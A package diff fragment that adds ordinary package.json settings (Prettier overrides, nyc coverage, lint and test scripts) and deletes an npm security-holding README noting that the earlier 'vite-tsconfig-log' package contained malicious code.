+ "overrides": [
72
+ {
73
+ "files": [
74
+ "*.md",
75
+ "*.yml"
76
+ ],
77
+ "options": {
78
+ "tabWidth": 2
79
+ }
80
+ }
81
+ ]
82
+ },
83
+ "nyc": {
84
+ "all": true,
85
+ "exclude": [
86
+ ".github",
87
+ "coverage/**",
88
+ "test/**",
89
+ "*.config.js"
90
+ ],
91
+ "reporter": [
92
+ "lcov",
93
+ "html",
94
+ "text-summary"
95
+ ]
96
+ },
97
+ "scripts": {
98
+ "coverage": "nyc npm test",
99
+ "check-coverage": "npm run coverage && nyc check-coverage --statements 80 --function 80 --branches 80 --lines 80",
100
+ "lint": "eslint --ignore-path=.gitignore .",
101
+ "lint-updated": "pipe-git-updated --ext=js -- eslint --ignore-pattern '!*'",
102
+ "prettier-check-updated": "pipe-git-updated --ext=css --ext=html --ext=js --ext=json --ext=md --ext=yaml --ext=yml -- prettier -c",
103
+ "prettify": "prettier --write --ignore-path .gitignore '**/*.{css,html,js,json,md,yaml,yml}'",
104
+ "test": "npm run test-prepare && npm run test-run",
105
+ "test-prepare": "tape-index",
106
+ "test-run": "node test.index.js"
107
+ },
108
+ "engines": {
109
+ "node": ">=10.0"
110
+ },
111
+ "license": "ISC"
112
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=vite-tsconfig-log for more information.